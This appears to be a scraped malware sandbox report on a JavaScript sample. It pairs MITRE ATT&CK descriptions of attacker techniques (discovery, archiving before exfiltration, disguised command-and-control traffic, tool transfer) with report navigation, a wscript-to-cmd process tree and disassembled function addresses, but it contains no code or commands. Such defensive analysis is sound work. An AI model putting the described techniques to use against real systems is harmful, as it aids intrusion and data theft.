Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 126484723232027823.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

Other

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Network Behavior

Network Port Distribution

TCP Packets

HTTP Request Dependency Graph

HTTP Packets

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

back

Behavior

System Behavior

Analysis Process: wscript.exePID: 3144, Parent PID: 1028

General

Chronological Activities

Analysis Process: cmd.exePID: 3876, Parent PID: 3144

General

Windows Analysis Report
126484723232027823.js

Function 024B9A30 Relevance: 9.0, APIs: 2, Strings: 1, Instructions: 3726
threadCOMMON

Function 024BBDB0 Relevance: 3.2, APIs: 1, Instructions: 1733
windowCOMMON

Function 024ED274 Relevance: 1.6, APIs: 1, Instructions: 93
COMMONLIBRARYCODE

Function 024E6F30 Relevance: 8.1, Strings: 1, Instructions: 6827
COMMON

Function 024F6C48 Relevance: 12.7, APIs: 4, Strings: 3, Instructions: 463
COMMONLIBRARYCODE

Function 024F6608 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 202
COMMONLIBRARYCODE

Function 024F6750 Relevance: 6.3, APIs: 4, Instructions: 309
COMMONLIBRARYCODE

Function 024ECB50 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 233
COMMON

Function 024F71EC Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 233
COMMONLIBRARYCODE